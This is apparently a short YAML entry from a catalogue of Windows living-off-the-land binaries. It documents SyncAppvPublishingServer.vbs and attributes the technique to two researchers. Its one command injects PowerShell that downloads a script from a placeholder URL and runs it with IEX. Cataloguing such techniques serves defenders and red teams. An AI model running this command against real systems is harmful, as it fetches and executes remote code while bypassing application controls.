--- Name: SyncAppvPublishingServer.vbs Description: Execute Author: '' Created: '2018-05-25' Categories: [] Commands: - Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX" Description: Inject PowerShell script code with the provided arguments Full Path: - C:\Windows\System32\SyncAppvPublishingServer.vbs Code Sample: [] Detection: [] Resources: - https://twitter.com/monoxgas/status/895045566090010624 - https://twitter.com/subTee/status/855738126882316288 Notes: Thanks to Nick Landers - @monoxgas, Casey Smith - @subTee